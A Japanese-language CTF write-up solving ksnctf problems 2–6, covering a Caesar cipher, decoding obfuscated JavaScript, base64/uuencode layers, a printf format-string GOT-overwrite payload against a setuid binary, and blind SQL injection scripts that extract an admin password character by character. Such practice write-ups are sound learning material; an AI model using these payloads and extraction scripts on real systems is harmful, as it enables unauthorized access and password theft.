ksnctf writeup

***※ 最新版の記事は [はてなブログ](http://gky360.hatenablog.com/entry/2019/04/16/094409) にあります。***

---

https://ksnctf.sweetduet.info/ の問題の write-up です。
ソースコード等は https://github.com/gky360/study_ctf/tree/master/knsctf にあげています。

## 2. Easy Cipher

定番のcaesar暗号です。

## 3. Crawling Chaos

### 問題概要

http://ksnctf.sweetduet.info/q/3/unya.html
が与えられます。フォームが1つある単純なwebページに見えます。フォームに何を入れてSubmitボタンを押しても "No" というアラートが出るばかりです。

### ポイント

- javascriptの文法

### 解法

unya.html のソースを見ると、 head タグの中に長ーい script タグがあり、何やら（文字通り）うにゃうにゃと書いてあります。

```js
(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー,(〳ᆞωᆞ)=(ᒧᆞωᆞ),(〳ᆞωᆞ).〳にゃー=- -!(ᒧᆞωᆞ).ᒧうー, (後略)
```

js の変数名や関数名には実は日本語を用いることができるので、これは文法的に正しい js となっています。
ちなみに、このような js は http://sanya.sweetduet.info/unyaencode/ で生成できるようです。

最初の部分を読み解いてみます。日本語の変数名と関数名をアルファベットに置き換えると、

```js
(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー
```
は

```js
(a)=(/ᆞωᆞ/),(a).b=-!!(/ᆞωᆞ/).c
```

と同じとみなせます。さらに読み解くと、以下のようになことがわかります。

- `/` 〜 `/` で囲まれた部分は正規表現
- `a` は正規表現を表す変数で、 `RegExp` クラスのインスタンス
- `a` に `b` というプロパティを追加して値を代入
- `(/ᆞωᆞ/).c` は変数 `/ᆞωᆞ/` の存在しないプロパティを参照しているので、 `undefined` となる
- `!` をつけると bool に変換、 `-` をつけると数値に変換、と考えることができるので `-!!undefined` は `-0` となる
- よって `a.b` には `-0` が代入される

このような感じで、うにゃうにゃ言っているだけに見えるコードでも意味の有りそうな動作をしています。

この調子で読んでいくのは大変なので、script タグの中身を `unya.js` として保存し `node unya.js` で実行します。すると、以下のようなエラーになります。 jQuery を import していないので `$` が定義されていないと怒られていますが、注目すべきはエラーとなった部分のコードが吐かれている点です。

```
undefined:2
$(function(){$("form").submit(function(){var t=$('input[type="text"]').val();var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);var f=false;if(p.length==t.length){f=true;for(var i=0;i<p.length;i++)if(t.charCodeAt(i)*(i+1)!=p[i])f=false;if(f)alert("(」・ω・)」うー!(/・ω・)/にゃー!");}if(!f)alert("No");return false;});});
^

ReferenceError: $ is not defined
```

吐かれたコードを読み解いてみます。

```js
$(function(){
  $('form').submit(function(){
    var t=$('input[type="text"]').val();
    var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);
    var f=false;
    if(p.length==t.length){
      f=true;
      for(var i=0; i<p.length; i++)
        if(t.charCodeAt(i)*(i+1)!=p[i])
          f=false;
      if(f)
        alert('(」・ω・)」うー!(/・ω・)/にゃー!');
    }
    if(!f)
      alert('No');
    return false;
  });
});
```

これは、フォームに与えられた文字列 `t` を1文字ずつ数値に変換したものが、 `p` の各要素と等しくなっているかどうかを調べる、というようなことをしています。以下のスクリプトで、このような `t` を `p` から逆に求めることができます。

```js
var p = Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);
var t_nums = p.map((n, i) => { return n / (i + 1); });
var t = String.fromCharCode(...t_nums);
console.log(t);
```


## 4. Villager A

### 問題概要

ssh の user と pass が与えられる。sshしてみると、 `~/` に以下のようなファイルが置いてある。

```
-r--------. 1 q4a  q4a    22 May 22  2012 flag.txt
-rwsr-xr-x. 1 q4a  q4a  5857 May 22  2012 q4
-rw-r--r--. 1 root root  151 Jun  1  2012 readme.txt
```

### ポイント

- print format attack（セキュリティコンテストチャレンジブック 2.4.2）
- GOT overwrite（セキュリティコンテストチャレンジブック 2.4.2）

### 解法

結論から言うと、以下のように実行するとflagを得られます。

```
echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4
```

printfの書式設定の脆弱性を利用すると、メモリの中の値を出力したり、メモリの値を書き換えたりできます。この脆弱性を利用して、 eip を奪い好きな関数を実行させることができます。詳しくは [GOT overwrite ~ ksnctf #4 Villager A ~](https://qiita.com/__k_onishi__/items/9cf7fc49107e6ff61115) に分かりやすい説明があるのでそちらを参照してください。


## 5. Onion

### 問題内容

すごく長い文字列が与えられます。

### ポイント

- base64
- uuencode

### 解法

与えられた文字列は [base64](https://ja.wikipedia.org/wiki/Base64) っぽさが漂っています。そこでとりあえず base64 decode してみます。

```sh
echo [問題文] | base64 -D
```

すると少し短い文字列が出てきます。

この文字列は実は、ある文字列を繰り返し base64 encode したものになっています。このことは問題名の「Onion」にもあらわれています。従って、 base64 decode を繰り返していくと、だんだん文字列が短くなり、ほしい文字列が得られます。16回目で以下の文字列が得られます。

```
begin 666 <data>
51DQ!1U]&94QG4#-3:4%797I74$AU

end
```

これは何でしょう。 `begin 666 <data>` でクグります。すると、これはどうやら [uuencode](https://ja.wikipedia.org/wiki/Uuencode) されたデータだとわかります。

以下を shell で実行すると flag.txt にフラグが出力されます。

```sh
uudecode <<EOF                                                                                                                                                   (git)-[master]
begin 666 flag.txt
51DQ!1U]&94QG4#-3:4%797I74$AU

end
EOF
```

## 6. Login

### 問題概要

login フォームが与えられます。

### ポイント

- SQLインジェクション

### 解法

まず、SQLインジェクションしてみます。 `' or 1=q --` を入力すると、以下のものが吐かれる。

```html
Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

Hint:

<?php
    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
    
    $id = isset($_POST['id']) ? $_POST['id'] : '';
    $pass = isset($_POST['pass']) ? $_POST['pass'] : '';
    $login = false;
    $err = '';
    
    if ($id!=='')
    {
        $db = new PDO('sqlite:database.db');
        $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
        $login = $r && $r->fetch();
        if (!$login)
            $err = 'Login Failed';
    }
?><!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
  </head>
  <body>
    <?php if (!$login) { ?>
    <p>
      First, login as "admin".
    </p>
    <div style="font-weight:bold; color:red">
      <?php echo h($err); ?>
    </div>
    <form method="POST">
      <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
      <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
      <div><input type="submit"></div>
    </form>
    <?php } else { ?>
    <p>
      Congratulations!<br>
      It's too easy?<br>
      Don't worry.<br>
      The flag is admin's password.<br>
      <br>
      Hint:<br>
    </p>
    <pre><?php echo h(file_get_contents('index.php')); ?></pre>
    <?php } ?>
  </body>
</html>
```

最初の数行にある通り、admin のパスワードを見つければいいようです。

SQLインジェクションを利用してパスワードを見つけていきます。まず、パスワードの長さを見つけます。

```pyhton
import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
for i in range(1, 100):
    sql = 'admin\' AND (SELECT LENGTH(pass) FROM user WHERE id = \'admin\') = {counter} --'.format(
        counter=i)
    payload = {
        'id': sql,
    }
    response = requests.post(url, data=payload)
    if len(response.text) > 2000:
        print('length of the password is {counter}'.format(counter=i))
        break
```

これで、パスワードの長さは21とわかります。

次に21文字のパスワードを1文字ずつ見つけていきます。SQL の `SUBSTR` 句を使います。

```python
import requests

url = 'http://ctfq.sweetduet.info:10080/~q6/'

password = ''
for index in range(1, pass_len + 1):
    for char_number in range(48, 123):
        char = chr(char_number)
        sql = 'admin\' AND SUBSTR((SELECT pass FROM user WHERE id = \'admin\'), {index}, 1) = \'{char}\' --'.format(
            index=index, char=char)
        payload = {
            'id': sql,
            'pass': ''
        }
        response = requests.post(url, data=payload)
        if len(response.text) > 2000:
            print(char, end="")
            password += char
            break

print()
print(password)
```